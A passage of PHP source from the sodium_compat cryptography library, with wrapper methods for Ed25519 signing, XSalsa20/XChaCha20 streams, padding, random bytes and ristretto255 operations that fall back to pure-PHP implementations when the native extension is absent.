self::CRYPTO_SIGN_PUBLICKEYBYTES) { throw new SodiumException('Argument 2 must be CRYPTO_SIGN_PUBLICKEYBYTES long.'); } if (self::useNewSodiumAPI()) { /** * @psalm-suppress InvalidReturnStatement * @psalm-suppress FalsableReturnStatement */ return sodium_crypto_sign_open($signedMessage, $publicKey); } if (self::use_fallback('crypto_sign_open')) { return call_user_func('\\Sodium\\crypto_sign_open', $signedMessage, $publicKey); } if (PHP_INT_SIZE === 4) { return ParagonIE_Sodium_Crypto32::sign_open($signedMessage, $publicKey); } return ParagonIE_Sodium_Crypto::sign_open($signedMessage, $publicKey); } /** * Generate a new random Ed25519 keypair. * * @return string * @throws SodiumException * @throws TypeError */ public static function crypto_sign_keypair() { if (self::useNewSodiumAPI()) { return sodium_crypto_sign_keypair(); } if (self::use_fallback('crypto_sign_keypair')) { return (string) call_user_func('\\Sodium\\crypto_sign_keypair'); } if (PHP_INT_SIZE === 4) { return ParagonIE_Sodium_Core32_Ed25519::keypair(); } return ParagonIE_Sodium_Core_Ed25519::keypair(); } /** * @param string $sk * @param string $pk * @return string * @throws SodiumException */ public static function crypto_sign_keypair_from_secretkey_and_publickey( #[\SensitiveParameter] $sk, $pk ) { ParagonIE_Sodium_Core_Util::declareScalarType($sk, 'string', 1); ParagonIE_Sodium_Core_Util::declareScalarType($pk, 'string', 1); $sk = (string) $sk; $pk = (string) $pk; if (ParagonIE_Sodium_Core_Util::strlen($sk) !== self::CRYPTO_SIGN_SECRETKEYBYTES) { throw new SodiumException('secretkey should be SODIUM_CRYPTO_SIGN_SECRETKEYBYTES bytes'); } if (ParagonIE_Sodium_Core_Util::strlen($pk) !== self::CRYPTO_SIGN_PUBLICKEYBYTES) { throw new SodiumException('publickey should be SODIUM_CRYPTO_SIGN_PUBLICKEYBYTES bytes'); } if (self::useNewSodiumAPI()) { return sodium_crypto_sign_keypair_from_secretkey_and_publickey($sk, $pk); } return $sk . $pk; } /** * Generate an Ed25519 keypair from a seed. * * @param string $seed Input seed * @return string Keypair * @throws SodiumException * @throws TypeError * @psalm-suppress MixedArgument */ public static function crypto_sign_seed_keypair( #[\SensitiveParameter] $seed ) { ParagonIE_Sodium_Core_Util::declareScalarType($seed, 'string', 1); if (self::useNewSodiumAPI()) { return sodium_crypto_sign_seed_keypair($seed); } if (self::use_fallback('crypto_sign_keypair')) { return (string) call_user_func('\\Sodium\\crypto_sign_seed_keypair', $seed); } $publicKey = ''; $secretKey = ''; if (PHP_INT_SIZE === 4) { ParagonIE_Sodium_Core32_Ed25519::seed_keypair($publicKey, $secretKey, $seed); } else { ParagonIE_Sodium_Core_Ed25519::seed_keypair($publicKey, $secretKey, $seed); } return $secretKey . $publicKey; } /** * Extract an Ed25519 public key from an Ed25519 keypair. * * @param string $keypair Keypair * @return string Public key * @throws SodiumException * @throws TypeError * @psalm-suppress MixedArgument */ public static function crypto_sign_publickey( #[\SensitiveParameter] $keypair ) { /* Type checks: */ ParagonIE_Sodium_Core_Util::declareScalarType($keypair, 'string', 1); /* Input validation: */ if (ParagonIE_Sodium_Core_Util::strlen($keypair) !== self::CRYPTO_SIGN_KEYPAIRBYTES) { throw new SodiumException('Argument 1 must be CRYPTO_SIGN_KEYPAIRBYTES long.'); } if (self::useNewSodiumAPI()) { return sodium_crypto_sign_publickey($keypair); } if (self::use_fallback('crypto_sign_publickey')) { return (string) call_user_func('\\Sodium\\crypto_sign_publickey', $keypair); } if (PHP_INT_SIZE === 4) { return ParagonIE_Sodium_Core32_Ed25519::publickey($keypair); } return ParagonIE_Sodium_Core_Ed25519::publickey($keypair); } /** * Calculate an Ed25519 public key from an Ed25519 secret key. * * @param string $secretKey Your Ed25519 secret key * @return string The corresponding Ed25519 public key * @throws SodiumException * @throws TypeError * @psalm-suppress MixedArgument */ public static function crypto_sign_publickey_from_secretkey( #[\SensitiveParameter] $secretKey ) { /* Type checks: */ ParagonIE_Sodium_Core_Util::declareScalarType($secretKey, 'string', 1); /* Input validation: */ if (ParagonIE_Sodium_Core_Util::strlen($secretKey) !== self::CRYPTO_SIGN_SECRETKEYBYTES) { throw new SodiumException('Argument 1 must be CRYPTO_SIGN_SECRETKEYBYTES long.'); } if (self::useNewSodiumAPI()) { return sodium_crypto_sign_publickey_from_secretkey($secretKey); } if (self::use_fallback('crypto_sign_publickey_from_secretkey')) { return (string) call_user_func('\\Sodium\\crypto_sign_publickey_from_secretkey', $secretKey); } if (PHP_INT_SIZE === 4) { return ParagonIE_Sodium_Core32_Ed25519::publickey_from_secretkey($secretKey); } return ParagonIE_Sodium_Core_Ed25519::publickey_from_secretkey($secretKey); } /** * Extract an Ed25519 secret key from an Ed25519 keypair. * * @param string $keypair Keypair * @return string Secret key * @throws SodiumException * @throws TypeError * @psalm-suppress MixedArgument */ public static function crypto_sign_secretkey( #[\SensitiveParameter] $keypair ) { /* Type checks: */ ParagonIE_Sodium_Core_Util::declareScalarType($keypair, 'string', 1); /* Input validation: */ if (ParagonIE_Sodium_Core_Util::strlen($keypair) !== self::CRYPTO_SIGN_KEYPAIRBYTES) { throw new SodiumException('Argument 1 must be CRYPTO_SIGN_KEYPAIRBYTES long.'); } if (self::useNewSodiumAPI()) { return sodium_crypto_sign_secretkey($keypair); } if (self::use_fallback('crypto_sign_secretkey')) { return (string) call_user_func('\\Sodium\\crypto_sign_secretkey', $keypair); } if (PHP_INT_SIZE === 4) { return ParagonIE_Sodium_Core32_Ed25519::secretkey($keypair); } return ParagonIE_Sodium_Core_Ed25519::secretkey($keypair); } /** * Calculate the Ed25519 signature of a message and return ONLY the signature. * * Algorithm: Ed25519 (EdDSA over Curve25519) * * @param string $message Message to be signed * @param string $secretKey Secret signing key * @return string Digital signature * @throws SodiumException * @throws TypeError * @psalm-suppress MixedArgument */ public static function crypto_sign_detached( $message, #[\SensitiveParameter] $secretKey ) { /* Type checks: */ ParagonIE_Sodium_Core_Util::declareScalarType($message, 'string', 1); ParagonIE_Sodium_Core_Util::declareScalarType($secretKey, 'string', 2); /* Input validation: */ if (ParagonIE_Sodium_Core_Util::strlen($secretKey) !== self::CRYPTO_SIGN_SECRETKEYBYTES) { throw new SodiumException('Argument 2 must be CRYPTO_SIGN_SECRETKEYBYTES long.'); } if (self::useNewSodiumAPI()) { return sodium_crypto_sign_detached($message, $secretKey); } if (self::use_fallback('crypto_sign_detached')) { return (string) call_user_func('\\Sodium\\crypto_sign_detached', $message, $secretKey); } if (PHP_INT_SIZE === 4) { return ParagonIE_Sodium_Crypto32::sign_detached($message, $secretKey); } return ParagonIE_Sodium_Crypto::sign_detached($message, $secretKey); } /** * Verify the Ed25519 signature of a message. * * @param string $signature Digital sginature * @param string $message Message to be verified * @param string $publicKey Public key * @return bool TRUE if this signature is good for this public key; * FALSE otherwise * @throws SodiumException * @throws TypeError * @psalm-suppress MixedArgument */ public static function crypto_sign_verify_detached($signature, $message, $publicKey) { /* Type checks: */ ParagonIE_Sodium_Core_Util::declareScalarType($signature, 'string', 1); ParagonIE_Sodium_Core_Util::declareScalarType($message, 'string', 2); ParagonIE_Sodium_Core_Util::declareScalarType($publicKey, 'string', 3); /* Input validation: */ if (ParagonIE_Sodium_Core_Util::strlen($signature) !== self::CRYPTO_SIGN_BYTES) { throw new SodiumException('Argument 1 must be CRYPTO_SIGN_BYTES long.'); } if (ParagonIE_Sodium_Core_Util::strlen($publicKey) !== self::CRYPTO_SIGN_PUBLICKEYBYTES) { throw new SodiumException('Argument 3 must be CRYPTO_SIGN_PUBLICKEYBYTES long.'); } if (self::useNewSodiumAPI()) { return sodium_crypto_sign_verify_detached($signature, $message, $publicKey); } if (self::use_fallback('crypto_sign_verify_detached')) { return (bool) call_user_func( '\\Sodium\\crypto_sign_verify_detached', $signature, $message, $publicKey ); } if (PHP_INT_SIZE === 4) { return ParagonIE_Sodium_Crypto32::sign_verify_detached($signature, $message, $publicKey); } return ParagonIE_Sodium_Crypto::sign_verify_detached($signature, $message, $publicKey); } /** * Convert an Ed25519 public key to a Curve25519 public key * * @param string $pk * @return string * @throws SodiumException * @throws TypeError * @psalm-suppress MixedArgument */ public static function crypto_sign_ed25519_pk_to_curve25519($pk) { /* Type checks: */ ParagonIE_Sodium_Core_Util::declareScalarType($pk, 'string', 1); /* Input validation: */ if (ParagonIE_Sodium_Core_Util::strlen($pk) < self::CRYPTO_SIGN_PUBLICKEYBYTES) { throw new SodiumException('Argument 1 must be at least CRYPTO_SIGN_PUBLICKEYBYTES long.'); } if (self::useNewSodiumAPI()) { if (is_callable('crypto_sign_ed25519_pk_to_curve25519')) { return (string) sodium_crypto_sign_ed25519_pk_to_curve25519($pk); } } if (self::use_fallback('crypto_sign_ed25519_pk_to_curve25519')) { return (string) call_user_func('\\Sodium\\crypto_sign_ed25519_pk_to_curve25519', $pk); } if (PHP_INT_SIZE === 4) { return ParagonIE_Sodium_Core32_Ed25519::pk_to_curve25519($pk); } return ParagonIE_Sodium_Core_Ed25519::pk_to_curve25519($pk); } /** * Convert an Ed25519 secret key to a Curve25519 secret key * * @param string $sk * @return string * @throws SodiumException * @throws TypeError * @psalm-suppress MixedArgument */ public static function crypto_sign_ed25519_sk_to_curve25519( #[\SensitiveParameter] $sk ) { /* Type checks: */ ParagonIE_Sodium_Core_Util::declareScalarType($sk, 'string', 1); /* Input validation: */ if (ParagonIE_Sodium_Core_Util::strlen($sk) < self::CRYPTO_SIGN_SEEDBYTES) { throw new SodiumException('Argument 1 must be at least CRYPTO_SIGN_SEEDBYTES long.'); } if (self::useNewSodiumAPI()) { if (is_callable('crypto_sign_ed25519_sk_to_curve25519')) { return sodium_crypto_sign_ed25519_sk_to_curve25519($sk); } } if (self::use_fallback('crypto_sign_ed25519_sk_to_curve25519')) { return (string) call_user_func('\\Sodium\\crypto_sign_ed25519_sk_to_curve25519', $sk); } $h = hash('sha512', ParagonIE_Sodium_Core_Util::substr($sk, 0, 32), true); $h[0] = ParagonIE_Sodium_Core_Util::intToChr( ParagonIE_Sodium_Core_Util::chrToInt($h[0]) & 248 ); $h[31] = ParagonIE_Sodium_Core_Util::intToChr( (ParagonIE_Sodium_Core_Util::chrToInt($h[31]) & 127) | 64 ); return ParagonIE_Sodium_Core_Util::substr($h, 0, 32); } /** * Expand a key and nonce into a keystream of pseudorandom bytes. * * @param int $len Number of bytes desired * @param string $nonce Number to be used Once; must be 24 bytes * @param string $key XSalsa20 key * @return string Pseudorandom stream that can be XORed with messages * to provide encryption (but not authentication; see * Poly1305 or crypto_auth() for that, which is not * optional for security) * @throws SodiumException * @throws TypeError * @psalm-suppress MixedArgument */ public static function crypto_stream( $len, $nonce, #[\SensitiveParameter] $key ) { /* Type checks: */ ParagonIE_Sodium_Core_Util::declareScalarType($len, 'int', 1); ParagonIE_Sodium_Core_Util::declareScalarType($nonce, 'string', 2); ParagonIE_Sodium_Core_Util::declareScalarType($key, 'string', 3); /* Input validation: */ if (ParagonIE_Sodium_Core_Util::strlen($nonce) !== self::CRYPTO_STREAM_NONCEBYTES) { throw new SodiumException('Argument 2 must be CRYPTO_SECRETBOX_NONCEBYTES long.'); } if (ParagonIE_Sodium_Core_Util::strlen($key) !== self::CRYPTO_STREAM_KEYBYTES) { throw new SodiumException('Argument 3 must be CRYPTO_STREAM_KEYBYTES long.'); } if (self::useNewSodiumAPI()) { return sodium_crypto_stream($len, $nonce, $key); } if (self::use_fallback('crypto_stream')) { return (string) call_user_func('\\Sodium\\crypto_stream', $len, $nonce, $key); } if (PHP_INT_SIZE === 4) { return ParagonIE_Sodium_Core32_XSalsa20::xsalsa20($len, $nonce, $key); } return ParagonIE_Sodium_Core_XSalsa20::xsalsa20($len, $nonce, $key); } /** * DANGER! UNAUTHENTICATED ENCRYPTION! * * Unless you are following expert advice, do not use this feature. * * Algorithm: XSalsa20 * * This DOES NOT provide ciphertext integrity. * * @param string $message Plaintext message * @param string $nonce Number to be used Once; must be 24 bytes * @param string $key Encryption key * @return string Encrypted text which is vulnerable to chosen- * ciphertext attacks unless you implement some * other mitigation to the ciphertext (i.e. * Encrypt then MAC) * @throws SodiumException * @throws TypeError * @psalm-suppress MixedArgument */ public static function crypto_stream_xor( #[\SensitiveParameter] $message, $nonce, #[\SensitiveParameter] $key ) { /* Type checks: */ ParagonIE_Sodium_Core_Util::declareScalarType($message, 'string', 1); ParagonIE_Sodium_Core_Util::declareScalarType($nonce, 'string', 2); ParagonIE_Sodium_Core_Util::declareScalarType($key, 'string', 3); /* Input validation: */ if (ParagonIE_Sodium_Core_Util::strlen($nonce) !== self::CRYPTO_STREAM_NONCEBYTES) { throw new SodiumException('Argument 2 must be CRYPTO_SECRETBOX_NONCEBYTES long.'); } if (ParagonIE_Sodium_Core_Util::strlen($key) !== self::CRYPTO_STREAM_KEYBYTES) { throw new SodiumException('Argument 3 must be CRYPTO_SECRETBOX_KEYBYTES long.'); } if (self::useNewSodiumAPI()) { return sodium_crypto_stream_xor($message, $nonce, $key); } if (self::use_fallback('crypto_stream_xor')) { return (string) call_user_func('\\Sodium\\crypto_stream_xor', $message, $nonce, $key); } if (PHP_INT_SIZE === 4) { return ParagonIE_Sodium_Core32_XSalsa20::xsalsa20_xor($message, $nonce, $key); } return ParagonIE_Sodium_Core_XSalsa20::xsalsa20_xor($message, $nonce, $key); } /** * Return a secure random key for use with crypto_stream * * @return string * @throws Exception * @throws Error */ public static function crypto_stream_keygen() { return random_bytes(self::CRYPTO_STREAM_KEYBYTES); } /** * Expand a key and nonce into a keystream of pseudorandom bytes. * * @param int $len Number of bytes desired * @param string $nonce Number to be used Once; must be 24 bytes * @param string $key XChaCha20 key * @param bool $dontFallback * @return string Pseudorandom stream that can be XORed with messages * to provide encryption (but not authentication; see * Poly1305 or crypto_auth() for that, which is not * optional for security) * @throws SodiumException * @throws TypeError * @psalm-suppress MixedArgument */ public static function crypto_stream_xchacha20( $len, $nonce, #[\SensitiveParameter] $key, $dontFallback = false ) { /* Type checks: */ ParagonIE_Sodium_Core_Util::declareScalarType($len, 'int', 1); ParagonIE_Sodium_Core_Util::declareScalarType($nonce, 'string', 2); ParagonIE_Sodium_Core_Util::declareScalarType($key, 'string', 3); /* Input validation: */ if (ParagonIE_Sodium_Core_Util::strlen($nonce) !== self::CRYPTO_STREAM_XCHACHA20_NONCEBYTES) { throw new SodiumException('Argument 2 must be CRYPTO_SECRETBOX_XCHACHA20_NONCEBYTES long.'); } if (ParagonIE_Sodium_Core_Util::strlen($key) !== self::CRYPTO_STREAM_XCHACHA20_KEYBYTES) { throw new SodiumException('Argument 3 must be CRYPTO_STREAM_XCHACHA20_KEYBYTES long.'); } if (self::useNewSodiumAPI() && !$dontFallback) { return sodium_crypto_stream_xchacha20($len, $nonce, $key); } if (PHP_INT_SIZE === 4) { return ParagonIE_Sodium_Core32_XChaCha20::stream($len, $nonce, $key); } return ParagonIE_Sodium_Core_XChaCha20::stream($len, $nonce, $key); } /** * DANGER! UNAUTHENTICATED ENCRYPTION! * * Unless you are following expert advice, do not use this feature. * * Algorithm: XChaCha20 * * This DOES NOT provide ciphertext integrity. * * @param string $message Plaintext message * @param string $nonce Number to be used Once; must be 24 bytes * @param string $key Encryption key * @return string Encrypted text which is vulnerable to chosen- * ciphertext attacks unless you implement some * other mitigation to the ciphertext (i.e. * Encrypt then MAC) * @param bool $dontFallback * @throws SodiumException * @throws TypeError * @psalm-suppress MixedArgument */ public static function crypto_stream_xchacha20_xor( #[\SensitiveParameter] $message, $nonce, #[\SensitiveParameter] $key, $dontFallback = false ) { /* Type checks: */ ParagonIE_Sodium_Core_Util::declareScalarType($message, 'string', 1); ParagonIE_Sodium_Core_Util::declareScalarType($nonce, 'string', 2); ParagonIE_Sodium_Core_Util::declareScalarType($key, 'string', 3); /* Input validation: */ if (ParagonIE_Sodium_Core_Util::strlen($nonce) !== self::CRYPTO_STREAM_XCHACHA20_NONCEBYTES) { throw new SodiumException('Argument 2 must be CRYPTO_SECRETBOX_XCHACHA20_NONCEBYTES long.'); } if (ParagonIE_Sodium_Core_Util::strlen($key) !== self::CRYPTO_STREAM_XCHACHA20_KEYBYTES) { throw new SodiumException('Argument 3 must be CRYPTO_SECRETBOX_XCHACHA20_KEYBYTES long.'); } if (self::useNewSodiumAPI() && !$dontFallback) { return sodium_crypto_stream_xchacha20_xor($message, $nonce, $key); } if (PHP_INT_SIZE === 4) { return ParagonIE_Sodium_Core32_XChaCha20::streamXorIc($message, $nonce, $key); } return ParagonIE_Sodium_Core_XChaCha20::streamXorIc($message, $nonce, $key); } /** * DANGER! UNAUTHENTICATED ENCRYPTION! * * Unless you are following expert advice, do not use this feature. * * Algorithm: XChaCha20 * * This DOES NOT provide ciphertext integrity. * * @param string $message Plaintext message * @param string $nonce Number to be used Once; must be 24 bytes * @param int $counter * @param string $key Encryption key * @return string Encrypted text which is vulnerable to chosen- * ciphertext attacks unless you implement some * other mitigation to the ciphertext (i.e. * Encrypt then MAC) * @param bool $dontFallback * @throws SodiumException * @throws TypeError * @psalm-suppress MixedArgument */ public static function crypto_stream_xchacha20_xor_ic( #[\SensitiveParameter] $message, $nonce, $counter, #[\SensitiveParameter] $key, $dontFallback = false ) { /* Type checks: */ ParagonIE_Sodium_Core_Util::declareScalarType($message, 'string', 1); ParagonIE_Sodium_Core_Util::declareScalarType($nonce, 'string', 2); ParagonIE_Sodium_Core_Util::declareScalarType($counter, 'int', 3); ParagonIE_Sodium_Core_Util::declareScalarType($key, 'string', 4); /* Input validation: */ if (ParagonIE_Sodium_Core_Util::strlen($nonce) !== self::CRYPTO_STREAM_XCHACHA20_NONCEBYTES) { throw new SodiumException('Argument 2 must be CRYPTO_SECRETBOX_XCHACHA20_NONCEBYTES long.'); } if (ParagonIE_Sodium_Core_Util::strlen($key) !== self::CRYPTO_STREAM_XCHACHA20_KEYBYTES) { throw new SodiumException('Argument 3 must be CRYPTO_SECRETBOX_XCHACHA20_KEYBYTES long.'); } if (is_callable('sodium_crypto_stream_xchacha20_xor_ic') && !$dontFallback) { return sodium_crypto_stream_xchacha20_xor_ic($message, $nonce, $counter, $key); } $ic = ParagonIE_Sodium_Core_Util::store64_le($counter); if (PHP_INT_SIZE === 4) { return ParagonIE_Sodium_Core32_XChaCha20::streamXorIc($message, $nonce, $key, $ic); } return ParagonIE_Sodium_Core_XChaCha20::streamXorIc($message, $nonce, $key, $ic); } /** * Return a secure random key for use with crypto_stream_xchacha20 * * @return string * @throws Exception * @throws Error */ public static function crypto_stream_xchacha20_keygen() { return random_bytes(self::CRYPTO_STREAM_XCHACHA20_KEYBYTES); } /** * Cache-timing-safe implementation of hex2bin(). * * @param string $string Hexadecimal string * @param string $ignore List of characters to ignore; useful for whitespace * @return string Raw binary string * @throws SodiumException * @throws TypeError * @psalm-suppress TooFewArguments * @psalm-suppress MixedArgument */ public static function hex2bin( #[\SensitiveParameter] $string, $ignore = '' ) { /* Type checks: */ ParagonIE_Sodium_Core_Util::declareScalarType($string, 'string', 1); ParagonIE_Sodium_Core_Util::declareScalarType($ignore, 'string', 2); if (self::useNewSodiumAPI()) { if (is_callable('sodium_hex2bin')) { return (string) sodium_hex2bin($string, $ignore); } } if (self::use_fallback('hex2bin')) { return (string) call_user_func('\\Sodium\\hex2bin', $string, $ignore); } return ParagonIE_Sodium_Core_Util::hex2bin($string, $ignore); } /** * Increase a string (little endian) * * @param string $var * * @return void * @throws SodiumException * @throws TypeError * @psalm-suppress MixedArgument */ public static function increment( #[\SensitiveParameter] &$var ) { /* Type checks: */ ParagonIE_Sodium_Core_Util::declareScalarType($var, 'string', 1); if (self::useNewSodiumAPI()) { sodium_increment($var); return; } if (self::use_fallback('increment')) { $func = '\\Sodium\\increment'; $func($var); return; } $len = ParagonIE_Sodium_Core_Util::strlen($var); $c = 1; $copy = ''; for ($i = 0; $i < $len; ++$i) { $c += ParagonIE_Sodium_Core_Util::chrToInt( ParagonIE_Sodium_Core_Util::substr($var, $i, 1) ); $copy .= ParagonIE_Sodium_Core_Util::intToChr($c); $c >>= 8; } $var = $copy; } /** * @param string $str * @return bool * * @throws SodiumException */ public static function is_zero( #[\SensitiveParameter] $str ) { $d = 0; for ($i = 0; $i < 32; ++$i) { $d |= ParagonIE_Sodium_Core_Util::chrToInt($str[$i]); } return ((($d - 1) >> 31) & 1) === 1; } /** * The equivalent to the libsodium minor version we aim to be compatible * with (sans pwhash and memzero). * * @return int */ public static function library_version_major() { if (self::useNewSodiumAPI() && defined('SODIUM_LIBRARY_MAJOR_VERSION')) { return SODIUM_LIBRARY_MAJOR_VERSION; } if (self::use_fallback('library_version_major')) { /** @psalm-suppress UndefinedFunction */ return (int) call_user_func('\\Sodium\\library_version_major'); } return self::LIBRARY_VERSION_MAJOR; } /** * The equivalent to the libsodium minor version we aim to be compatible * with (sans pwhash and memzero). * * @return int */ public static function library_version_minor() { if (self::useNewSodiumAPI() && defined('SODIUM_LIBRARY_MINOR_VERSION')) { return SODIUM_LIBRARY_MINOR_VERSION; } if (self::use_fallback('library_version_minor')) { /** @psalm-suppress UndefinedFunction */ return (int) call_user_func('\\Sodium\\library_version_minor'); } return self::LIBRARY_VERSION_MINOR; } /** * Compare two strings. * * @param string $left * @param string $right * @return int * @throws SodiumException * @throws TypeError * @psalm-suppress MixedArgument */ public static function memcmp( #[\SensitiveParameter] $left, #[\SensitiveParameter] $right ) { /* Type checks: */ ParagonIE_Sodium_Core_Util::declareScalarType($left, 'string', 1); ParagonIE_Sodium_Core_Util::declareScalarType($right, 'string', 2); if (self::useNewSodiumAPI()) { return sodium_memcmp($left, $right); } if (self::use_fallback('memcmp')) { return (int) call_user_func('\\Sodium\\memcmp', $left, $right); } /** @var string $left */ /** @var string $right */ return ParagonIE_Sodium_Core_Util::memcmp($left, $right); } /** * It's actually not possible to zero memory buffers in PHP. You need the * native library for that. * * @param string|null $var * @param-out string|null $var * * @return void * @throws SodiumException (Unless libsodium is installed) * @throws TypeError * @psalm-suppress TooFewArguments */ public static function memzero( #[\SensitiveParameter] &$var ) { /* Type checks: */ ParagonIE_Sodium_Core_Util::declareScalarType($var, 'string', 1); if (self::useNewSodiumAPI()) { /** @psalm-suppress MixedArgument */ sodium_memzero($var); return; } if (self::use_fallback('memzero')) { $func = '\\Sodium\\memzero'; $func($var); if ($var === null) { return; } } // This is the best we can do. throw new SodiumException( 'This is not implemented in sodium_compat, as it is not possible to securely wipe memory from PHP. ' . 'To fix this error, make sure libsodium is installed and the PHP extension is enabled.' ); } /** * @param string $unpadded * @param int $blockSize * @param bool $dontFallback * @return string * @throws SodiumException */ public static function pad( #[\SensitiveParameter] $unpadded, $blockSize, $dontFallback = false ) { /* Type checks: */ ParagonIE_Sodium_Core_Util::declareScalarType($unpadded, 'string', 1); ParagonIE_Sodium_Core_Util::declareScalarType($blockSize, 'int', 2); $unpadded = (string) $unpadded; $blockSize = (int) $blockSize; if (self::useNewSodiumAPI() && !$dontFallback) { return (string) sodium_pad($unpadded, $blockSize); } if ($blockSize <= 0) { throw new SodiumException( 'block size cannot be less than 1' ); } $unpadded_len = ParagonIE_Sodium_Core_Util::strlen($unpadded); $xpadlen = ($blockSize - 1); if (($blockSize & ($blockSize - 1)) === 0) { $xpadlen -= $unpadded_len & ($blockSize - 1); } else { $xpadlen -= $unpadded_len % $blockSize; } $xpadded_len = $unpadded_len + $xpadlen; $padded = str_repeat("\0", $xpadded_len - 1); if ($unpadded_len > 0) { $st = 1; $i = 0; $k = $unpadded_len; for ($j = 0; $j <= $xpadded_len; ++$j) { $i = (int) $i; $k = (int) $k; $st = (int) $st; if ($j >= $unpadded_len) { $padded[$j] = "\0"; } else { $padded[$j] = $unpadded[$j]; } /** @var int $k */ $k -= $st; $st = (int) (~( ( ( ($k >> 48) | ($k >> 32) | ($k >> 16) | $k ) - 1 ) >> 16 ) ) & 1; $i += $st; } } $mask = 0; $tail = $xpadded_len; for ($i = 0; $i < $blockSize; ++$i) { # barrier_mask = (unsigned char) # (((i ^ xpadlen) - 1U) >> ((sizeof(size_t) - 1U) * CHAR_BIT)); $barrier_mask = (($i ^ $xpadlen) -1) >> ((PHP_INT_SIZE << 3) - 1); # tail[-i] = (tail[-i] & mask) | (0x80 & barrier_mask); $padded[$tail - $i] = ParagonIE_Sodium_Core_Util::intToChr( (ParagonIE_Sodium_Core_Util::chrToInt($padded[$tail - $i]) & $mask) | (0x80 & $barrier_mask) ); # mask |= barrier_mask; $mask |= $barrier_mask; } return $padded; } /** * @param string $padded * @param int $blockSize * @param bool $dontFallback * @return string * @throws SodiumException */ public static function unpad( #[\SensitiveParameter] $padded, $blockSize, $dontFallback = false ) { /* Type checks: */ ParagonIE_Sodium_Core_Util::declareScalarType($padded, 'string', 1); ParagonIE_Sodium_Core_Util::declareScalarType($blockSize, 'int', 2); $padded = (string) $padded; $blockSize = (int) $blockSize; if (self::useNewSodiumAPI() && !$dontFallback) { return (string) sodium_unpad($padded, $blockSize); } if ($blockSize <= 0) { throw new SodiumException('block size cannot be less than 1'); } $padded_len = ParagonIE_Sodium_Core_Util::strlen($padded); if ($padded_len < $blockSize) { throw new SodiumException('invalid padding'); } # tail = &padded[padded_len - 1U]; $tail = $padded_len - 1; $acc = 0; $valid = 0; $pad_len = 0; $found = 0; for ($i = 0; $i < $blockSize; ++$i) { # c = tail[-i]; $c = ParagonIE_Sodium_Core_Util::chrToInt($padded[$tail - $i]); # is_barrier = # (( (acc - 1U) & (pad_len - 1U) & ((c ^ 0x80) - 1U) ) >> 8) & 1U; $is_barrier = ( ( ($acc - 1) & ($pad_len - 1) & (($c ^ 80) - 1) ) >> 7 ) & 1; $is_barrier &= ~$found; $found |= $is_barrier; # acc |= c; $acc |= $c; # pad_len |= i & (1U + ~is_barrier); $pad_len |= $i & (1 + ~$is_barrier); # valid |= (unsigned char) is_barrier; $valid |= ($is_barrier & 0xff); } # unpadded_len = padded_len - 1U - pad_len; $unpadded_len = $padded_len - 1 - $pad_len; if ($valid !== 1) { throw new SodiumException('invalid padding'); } return ParagonIE_Sodium_Core_Util::substr($padded, 0, $unpadded_len); } /** * Will sodium_compat run fast on the current hardware and PHP configuration? * * @return bool */ public static function polyfill_is_fast() { if (extension_loaded('sodium')) { return true; } if (extension_loaded('libsodium')) { return true; } return PHP_INT_SIZE === 8; } /** * Generate a string of bytes from the kernel's CSPRNG. * Proudly uses /dev/urandom (if getrandom(2) is not available). * * @param int $numBytes * @return string * @throws Exception * @throws TypeError */ public static function randombytes_buf($numBytes) { /* Type checks: */ if (!is_int($numBytes)) { if (is_numeric($numBytes)) { $numBytes = (int) $numBytes; } else { throw new TypeError( 'Argument 1 must be an integer, ' . gettype($numBytes) . ' given.' ); } } /** @var positive-int $numBytes */ if (self::use_fallback('randombytes_buf')) { return (string) call_user_func('\\Sodium\\randombytes_buf', $numBytes); } if ($numBytes < 0) { throw new SodiumException("Number of bytes must be a positive integer"); } return random_bytes($numBytes); } /** * Generate an integer between 0 and $range (non-inclusive). * * @param int $range * @return int * @throws Exception * @throws Error * @throws TypeError */ public static function randombytes_uniform($range) { /* Type checks: */ if (!is_int($range)) { if (is_numeric($range)) { $range = (int) $range; } else { throw new TypeError( 'Argument 1 must be an integer, ' . gettype($range) . ' given.' ); } } if (self::use_fallback('randombytes_uniform')) { return (int) call_user_func('\\Sodium\\randombytes_uniform', $range); } return random_int(0, $range - 1); } /** * Generate a random 16-bit integer. * * @return int * @throws Exception * @throws Error * @throws TypeError */ public static function randombytes_random16() { if (self::use_fallback('randombytes_random16')) { return (int) call_user_func('\\Sodium\\randombytes_random16'); } return random_int(0, 65535); } /** * @param string $p * @param bool $dontFallback * @return bool * @throws SodiumException */ public static function ristretto255_is_valid_point( #[\SensitiveParameter] $p, $dontFallback = false ) { if (self::useNewSodiumAPI() && !$dontFallback) { return sodium_crypto_core_ristretto255_is_valid_point($p); } try { $r = ParagonIE_Sodium_Core_Ristretto255::ristretto255_frombytes($p); return $r['res'] === 0 && ParagonIE_Sodium_Core_Ristretto255::ristretto255_point_is_canonical($p) === 1; } catch (SodiumException $ex) { if ($ex->getMessage() === 'S is not canonical') { return false; } throw $ex; } } /** * @param string $p * @param string $q * @param bool $dontFallback * @return string * @throws SodiumException */ public static function ristretto255_add( #[\SensitiveParameter] $p, #[\SensitiveParameter] $q, $dontFallback = false ) { if (self::useNewSodiumAPI() && !$dontFallback) { return sodium_crypto_core_ristretto255_add($p, $q); } return ParagonIE_Sodium_Core_Ristretto255::ristretto255_add($p, $q); } /** * @param string $p * @param string $q * @param bool $dontFallback * @return string * @throws SodiumException */ public static function ristretto255_sub( #[\SensitiveParameter] $p, #[\SensitiveParameter] $q, $dontFallback = false ) { if (self::useNewSodiumAPI() && !$dontFallback) { return sodium_crypto_core_ristretto255_sub($p, $q); } return ParagonIE_Sodium_Core_Ristretto255::ristretto255_sub($p, $q); } /** * @param string $r * @param bool $dontFallback * @return string * * @throws SodiumException */ public static function ristretto255_from_hash( #[\SensitiveParameter] $r, $dontFallback = false ) { if (self::useNewSodiumAPI() && !$dontFallback) { return sodium_crypto_core_ristretto255_from_hash($r); } return ParagonIE_Sodium_Core_Ristretto255::ristretto255_from_hash($r); } /** * @param bool $dontFallback * @return string * * @throws SodiumException */ public static function ristretto255_random($dontFallback = false) { if (self::useNewSodiumAPI() && !$dontFallback) { return sodium_crypto_core_ristretto255_random(); } return ParagonIE_Sodium_Core_Ristretto255::ristretto255_random(); } /** * @param bool $dontFallback * @return string * * @throws SodiumException */ public static function ristretto255_scalar_random($dontFallback = false) { if (self::useNewSodiumAPI() && !$dontFallback) { return sodium_crypto_core_ristretto255_scalar_random(); } return ParagonIE_Sodium_Core_Ristretto255::ristretto255_scalar_random(); } /** * @param string $s * @param bool $dontFallback * @return string * @throws SodiumException */ public static function ristretto255_scalar_invert( #[\SensitiveParameter] 